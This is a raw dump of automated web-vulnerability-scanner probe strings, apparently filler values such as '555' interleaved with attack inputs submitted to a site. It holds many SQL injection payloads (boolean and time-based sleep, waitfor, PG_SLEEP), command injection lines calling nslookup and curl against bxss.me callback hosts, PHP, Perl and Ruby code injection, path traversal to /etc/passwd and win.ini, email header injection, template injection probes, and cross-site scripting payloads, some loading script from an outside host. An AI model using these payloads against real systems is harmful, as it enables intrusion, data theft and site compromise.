555

555

555

555

555

response.write(9451119*9038923)

'+response.write(9451119*9038923)+'

"+response.write(9451119*9038923)+"

555

555

555

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

c:/windows/win.ini

bxss.me

555

555

555

555

555

555

'.gethostbyname(lc('hitjs'.'aknpvxpy2c677.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(86).chr(98).chr(79).'

555

".gethostbyname(lc("hitwf"."nducfwql22232.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(83).chr(108).chr(65)."

555

555

555

555

555

echo natcit$()\ epxjtx\nz^xyu||a #' &echo natcit$()\ epxjtx\nz^xyu||a #|" &echo natcit$()\ epxjtx\nz^xyu||a #

&echo khjvlo$()\ wowers\nz^xyu||a #' &echo khjvlo$()\ wowers\nz^xyu||a #|" &echo khjvlo$()\ wowers\nz^xyu||a #

|echo gbwrwk$()\ zfnsrs\nz^xyu||a #' |echo gbwrwk$()\ zfnsrs\nz^xyu||a #|" |echo gbwrwk$()\ zfnsrs\nz^xyu||a #

555

555

(nslookup hituumhhqkwboa49f0.bxss.me||perl -e "gethostbyname('hituumhhqkwboa49f0.bxss.me')")

555

$(nslookup hitzvkvyblaaf2f1f7.bxss.me||perl -e "gethostbyname('hitzvkvyblaaf2f1f7.bxss.me')")

555

&nslookup hitqininpiclr7fd22.bxss.me&'\"`0&nslookup hitqininpiclr7fd22.bxss.me&`'

&(nslookup hittlmmnjckgi79f7b.bxss.me||perl -e "gethostbyname('hittlmmnjckgi79f7b.bxss.me')")&'\"`0&(nslookup hittlmmnjckgi79f7b.bxss.me||perl -e "gethostbyname('hittlmmnjckgi79f7b.bxss.me')")&`'

555

|(nslookup hitetkwzkvhyb3a566.bxss.me||perl -e "gethostbyname('hitetkwzkvhyb3a566.bxss.me')")

555

`(nslookup hitkmtapjwpjl604d0.bxss.me||perl -e "gethostbyname('hitkmtapjwpjl604d0.bxss.me')")`

555

;(nslookup hitulhvizeoox134f9.bxss.me||perl -e "gethostbyname('hitulhvizeoox134f9.bxss.me')")|(nslookup hitulhvizeoox134f9.bxss.me||perl -e "gethostbyname('hitulhvizeoox134f9.bxss.me')")&(nslookup hitulhvizeoox134f9.bxss.me||perl -e "gethostbyname('hitulhvizeoox134f9.bxss.me')")

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

$

555

$\

555

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(118).concat(75).concat(101).concat(67)+(require"socket" Socket.gethostbyname("hitfm"+"xjkzuufy8b30d.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(106).concat(87).concat(101).concat(67)+(require'socket' Socket.gethostbyname('hitxj'+'bgcrkwpk227c2.bxss.me.')[3].to_s)+'

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

5PNhHRAg

-1 OR 2+48-48-1=0+0+0+1 --

-1 OR 2+725-725-1=0+0+0+1

-1' OR 2+32-32-1=0+0+0+1 --

-1' OR 2+443-443-1=0+0+0+1 or 'czEmALtB'='

-1" OR 2+962-962-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

iRGRfHcl'; waitfor delay '0:0:15' --

-5 OR 109=(SELECT 109 FROM PG_SLEEP(15))--

-5) OR 344=(SELECT 344 FROM PG_SLEEP(15))--

-1)) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

5QBM4xSK' OR 519=(SELECT 519 FROM PG_SLEEP(15))--

W8xG6mn8') OR 853=(SELECT 853 FROM PG_SLEEP(15))--

QNMmPLhF')) OR 987=(SELECT 987 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@hWrp4

response.write(9535806*9308832)

'.gethostbyname(lc('hituj'.'vyyjuosq69f75.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(84).chr(108).chr(68).'

'+response.write(9535806*9308832)+'

".gethostbyname(lc("hitep"."wmeafnee4ea21.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(78).chr(103).chr(89)."

"+response.write(9535806*9308832)+"

"+"A".concat(70-3).concat(22*4).concat(113).concat(73).concat(100).concat(81)+(require"socket" Socket.gethostbyname("hitil"+"iswtgltl93329.bxss.me.")[3].to_s)+"

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

'+'A'.concat(70-3).concat(22*4).concat(104).concat(89).concat(122).concat(68)+(require'socket' Socket.gethostbyname('hittr'+'uwyeqtuhe4084.bxss.me.')[3].to_s)+'

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt%3F.jpg

/etc/shells

c:/windows/win.ini

bxss.me

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

echo pifjrl$()\ qhhsii\nz^xyu||a #' &echo pifjrl$()\ qhhsii\nz^xyu||a #|" &echo pifjrl$()\ qhhsii\nz^xyu||a #

&echo cbykew$()\ swtvld\nz^xyu||a #' &echo cbykew$()\ swtvld\nz^xyu||a #|" &echo cbykew$()\ swtvld\nz^xyu||a #

';print(md5(31337));$a='

|echo twuglp$()\ mgjdiv\nz^xyu||a #' |echo twuglp$()\ mgjdiv\nz^xyu||a #|" |echo twuglp$()\ mgjdiv\nz^xyu||a #

";print(md5(31337));$a="

(nslookup hitvrxgbrdbhzed1ce.bxss.me||perl -e "gethostbyname('hitvrxgbrdbhzed1ce.bxss.me')")

$

$(nslookup hitucafjypmvea089d.bxss.me||perl -e "gethostbyname('hitucafjypmvea089d.bxss.me')")

$\

&nslookup hitrtiygfojvt6af08.bxss.me&'\"`0&nslookup hitrtiygfojvt6af08.bxss.me&`'

'.print(md5(31337)).'

&(nslookup hitfzhkrmwcty7486f.bxss.me||perl -e "gethostbyname('hitfzhkrmwcty7486f.bxss.me')")&'\"`0&(nslookup hitfzhkrmwcty7486f.bxss.me||perl -e "gethostbyname('hitfzhkrmwcty7486f.bxss.me')")&`'

|(nslookup hitopzwiyjpxx4a025.bxss.me||perl -e "gethostbyname('hitopzwiyjpxx4a025.bxss.me')")

`(nslookup hitbhxfptiejy87882.bxss.me||perl -e "gethostbyname('hitbhxfptiejy87882.bxss.me')")`

;(nslookup hitzriplxrdhk1e867.bxss.me||perl -e "gethostbyname('hitzriplxrdhk1e867.bxss.me')")|(nslookup hitzriplxrdhk1e867.bxss.me||perl -e "gethostbyname('hitzriplxrdhk1e867.bxss.me')")&(nslookup hitzriplxrdhk1e867.bxss.me||perl -e "gethostbyname('hitzriplxrdhk1e867.bxss.me')")

1

1

jN2l7noY

-1 OR 2+239-239-1=0+0+0+1 --

-1 OR 2+870-870-1=0+0+0+1

-1' OR 2+839-839-1=0+0+0+1 --

-1' OR 2+840-840-1=0+0+0+1 or 'JZR6CPoN'='

-1" OR 2+627-627-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

P9Hh8pwD'; waitfor delay '0:0:15' --

-5 OR 459=(SELECT 459 FROM PG_SLEEP(15))--

-5) OR 370=(SELECT 370 FROM PG_SLEEP(15))--

-1)) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

yyLDHswA' OR 280=(SELECT 280 FROM PG_SLEEP(15))--

vjhVOYqQ') OR 581=(SELECT 581 FROM PG_SLEEP(15))--

PXmsctnT')) OR 154=(SELECT 154 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@oUBE6

555

555

1CPhR9Mi0VO

555

555

555

555

555

555

'.gethostbyname(lc('hitxp'.'szqfspflc25c5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(84).chr(108).chr(85).'

555

ai8z2Utq

".gethostbyname(lc("hitpj"."dlenjksn5d37f.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(87).chr(113).chr(77)."

555

555

555

555&n998368=v999446

555

555

555

555

555

555

555

555

555

555

555

555

555 bcc:0.282-63013.282.c53ef.19747.2@bxss.me

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

$

to@example.com> bcc:0.282-63014.282.c53ef.19747.2@bxss.me

555

555

555

555

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

555

';print(md5(31337));$a='

555

555

../../../../../../../../../../../../../../etc/passwd

";print(md5(31337));$a="

555

555

555

555

../../../../../../../../../../../../../../windows/win.ini

$

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

$\

file:///etc/passwd

555

)

'.print(md5(31337)).'

555

555

555

!(()&&!|*|*|

../555

1

^(#$!@#$)(()))******

555

555

555

555

555

555

555

555

'"()

555

555

555'&&sleep(27*1000)*ukqfpt&&'

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555"&&sleep(27*1000)*zxslwz&&"

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555'||sleep(27*1000)*oldskf||'

Http://bxss.me/t/fit.txt

555

555"||sleep(27*1000)*zgvwwm||"

http://bxss.me/t/fit.txt?.jpg

555

/etc/shells

555

c:/windows/win.ini

555

bxss.me

555

555

555

555

echo paoaaa$()\ arcqjg\nz^xyu||a #' &echo paoaaa$()\ arcqjg\nz^xyu||a #|" &echo paoaaa$()\ arcqjg\nz^xyu||a #

&echo urrpnm$()\ bcbkka\nz^xyu||a #' &echo urrpnm$()\ bcbkka\nz^xyu||a #|" &echo urrpnm$()\ bcbkka\nz^xyu||a #

555&echo uqjymn$()\ awpydu\nz^xyu||a #' &echo uqjymn$()\ awpydu\nz^xyu||a #|" &echo uqjymn$()\ awpydu\nz^xyu||a #

|echo sgzhtm$()\ akzkkx\nz^xyu||a #' |echo sgzhtm$()\ akzkkx\nz^xyu||a #|" |echo sgzhtm$()\ akzkkx\nz^xyu||a #

555|echo baycqy$()\ uccazv\nz^xyu||a #' |echo baycqy$()\ uccazv\nz^xyu||a #|" |echo baycqy$()\ uccazv\nz^xyu||a #

555

(nslookup -q=cname hityatcayybtg7c07c.bxss.me||curl hityatcayybtg7c07c.bxss.me))

555

555

$(nslookup -q=cname hitmxukoyolshde17c.bxss.me||curl hitmxukoyolshde17c.bxss.me)

555

HttP://bxss.me/t/xss.html?%00

&nslookup -q=cname hitwnswizapxj98bb8.bxss.me&'\"`0&nslookup -q=cname hitwnswizapxj98bb8.bxss.me&`'

"+"A".concat(70-3).concat(22*4).concat(108).concat(85).concat(109).concat(75)+(require"socket" Socket.gethostbyname("hitsc"+"upxloxdh6f121.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

&(nslookup -q=cname hitatsdzkboxfa48b7.bxss.me||curl hitatsdzkboxfa48b7.bxss.me)&'\"`0&(nslookup -q=cname hitatsdzkboxfa48b7.bxss.me||curl hitatsdzkboxfa48b7.bxss.me)&`'

'+'A'.concat(70-3).concat(22*4).concat(106).concat(69).concat(101).concat(70)+(require'socket' Socket.gethostbyname('hitdf'+'wyqirikg304ea.bxss.me.')[3].to_s)+'

555

|(nslookup -q=cname hitjseafeymgde89b9.bxss.me||curl hitjseafeymgde89b9.bxss.me)

555

555

555

`(nslookup -q=cname hitlbifigdacq41a09.bxss.me||curl hitlbifigdacq41a09.bxss.me)`

xfs.bxss.me

555

555

o-salnikakh&act=save_comment

;(nslookup -q=cname hitbxnkppcxvlcbf81.bxss.me||curl hitbxnkppcxvlcbf81.bxss.me)|(nslookup -q=cname hitbxnkppcxvlcbf81.bxss.me||curl hitbxnkppcxvlcbf81.bxss.me)&(nslookup -q=cname hitbxnkppcxvlcbf81.bxss.me||curl hitbxnkppcxvlcbf81.bxss.me)

555

o-salnikakh&act=save_comment

555

'"

o-salnikakh&act=save_comment/.

555

<!--

555

555

response.write(9786713*9775796)

'+response.write(9786713*9775796)+'

555

"+response.write(9786713*9775796)+"

555'"()&%<zzz><ScRiPt >TTH3(9043)</ScRiPt>

'"()&%<zzz><ScRiPt >TTH3(9440)</ScRiPt>

5559111947

bfg4045＜s1﹥s2ʺs3ʹhjl4045

bfgx9697��z1��z2a�bcxhjl9697

<%=}%>

<th:t="$#foreach

1}}"}}'}}1%>"%>'%><%=}%>

dfb}xca

dfb[[$]]xca

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >TTH3(9410)</ScRiPt>

555<W3RHWF>2JPVQ[!+!]</W3RHWF>

555<script>TTH3(9671)</script>

555<script>TTH3(9971)</script>9971

555<ScR<ScRiPt>IpT>TTH3(9330)</sCr<ScRiPt>IpT>

555<ScRiPt >TTH3(9233)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9501></ScRiPt>

555<ScRiPt >TTH3(9578)</ScRiPt>

555<svg  �onload=TTH3(9894);>

555<isindex type=image src=1 onerror=TTH3(9043)>

555

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9121'>

555<body onload=TTH3(9974)>

555<img src=//xss.bxss.me/t/dot.gif onload=TTH3(9862)>

555<img src=xyz OnErRor=TTH3(9030)>

555

555<img/src=">" onerror=alert(9492)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%54%48%33%289197%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\TTH3(9289)\u003C/sCripT\u003E

555<ScRiPt>TTH3(9914)</sCripT>

555

�<img zzz onmouseover=TTH3(96821) //�>

555<input autofocus onfocus=TTH3(9104)>

<a HrEF=http://xss.bxss.me></a>

555

<a HrEF=jaVaScRiPT:>

555}body

5552LnEi <ScRiPt >TTH3(9029)</ScRiPt>

555

555<WGYV1O>KJB75[!+!]</WGYV1O>

555<ifRAme sRc=9698.com></IfRamE>

555<aOxlaOC x=9959>

555<img sRc='http://attacker-9025/log.php?

555<aP2ed2G<

555

555

555

555

555

555

555

555

555

555

555

555

ZiAglpP0

555

-1 OR 2+452-452-1=0+0+0+1 --

-1 OR 2+151-151-1=0+0+0+1

-1' OR 2+305-305-1=0+0+0+1 --

-1' OR 2+716-716-1=0+0+0+1 or 'arbL38Lc'='

-1" OR 2+962-962-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

pixQkNcv'; waitfor delay '0:0:15' --

-5 OR 248=(SELECT 248 FROM PG_SLEEP(15))--

-5) OR 703=(SELECT 703 FROM PG_SLEEP(15))--

-1)) OR 639=(SELECT 639 FROM PG_SLEEP(15))--

yMsaRG4J' OR 261=(SELECT 261 FROM PG_SLEEP(15))--

NVI27rzL') OR 972=(SELECT 972 FROM PG_SLEEP(15))--

S2Z4Yka5')) OR 873=(SELECT 873 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@DrsJK

555'"()&%<zzz><ScRiPt >qYHB(9227)</ScRiPt>

'"()&%<zzz><ScRiPt >qYHB(9208)</ScRiPt>

5559552899

bfg1605＜s1﹥s2ʺs3ʹhjl1605

bfgx8902��z1��z2a�bcxhjl8902

<%=}%>

<th:t="$#foreach

1}}"}}'}}1%>"%>'%><%=}%>

dfb}xca

dfb[[$]]xca

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >qYHB(9146)</ScRiPt>

555<WEGRL8>AMKQT[!+!]</WEGRL8>

555<script>qYHB(9201)</script>

555<script>qYHB(9869)</script>9869

555<ScR<ScRiPt>IpT>qYHB(9737)</sCr<ScRiPt>IpT>

555<ScRiPt >qYHB(9829)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9206></ScRiPt>

555<ScRiPt >qYHB(9785)</ScRiPt>

555<svg  �onload=qYHB(9463);>

555<isindex type=image src=1 onerror=qYHB(9718)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9464'>

555<body onload=qYHB(9490)>

555<img src=//xss.bxss.me/t/dot.gif onload=qYHB(9987)>

555<img src=xyz OnErRor=qYHB(9440)>

555<img/src=">" onerror=alert(9812)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%59%48%42%289112%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\qYHB(9321)\u003C/sCripT\u003E

555<ScRiPt>qYHB(9305)</sCripT>

�<img zzz onmouseover=qYHB(90951) //�>

555<input autofocus onfocus=qYHB(9515)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body

555ppxFF <ScRiPt >qYHB(9006)</ScRiPt>

555<WCTZQ6>QCS0G[!+!]</WCTZQ6>

555<ifRAme sRc=9917.com></IfRamE>

555<aQgdXVa x=9967>

555<img sRc='http://attacker-9975/log.php?

555<a8mirwR<

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

dQZWdJeD

-1 OR 2+35-35-1=0+0+0+1 --

-1 OR 2+502-502-1=0+0+0+1

-1' OR 2+638-638-1=0+0+0+1 --

-1' OR 2+247-247-1=0+0+0+1 or '36QxLHmk'='

-1" OR 2+920-920-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/